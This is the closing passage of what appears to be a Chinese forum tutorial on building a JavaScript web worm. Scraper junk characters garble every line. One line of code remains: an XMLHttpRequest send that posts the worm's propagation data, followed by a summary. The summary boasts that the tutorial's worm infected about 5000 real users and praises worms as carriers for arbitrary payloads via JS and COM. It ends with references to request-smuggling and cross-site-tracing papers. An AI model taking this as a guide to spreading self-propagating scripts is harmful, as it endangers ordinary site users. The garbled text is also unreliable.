- R' ?4 c; [) p' NxmlHttpReq.send(post); //把传播的信息 POST出去.0 |0 Z9 t4 a s9 k) K
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3 r& M4 \/ q0 p8 R/ ~6 h复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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- q0 n; r% H2 l) f3 c本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
4 M* F. [4 @0 f1 F6 B蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
" ?) S H+ a7 w" S操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.; {( P, s, G( q% N4 E7 l
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本文引用文档资料:
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% e+ C* L4 [- R& M# ] P"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
. i6 H( M, T9 q: _! P A5 MOther XmlHttpRequest tricks (Amit Klein, January 2003)
% R9 a" U( P/ {2 l6 w, M"Cross Site Tracing" (Jeremiah Grossman, January 2003)3 T" @, B2 D {" ]
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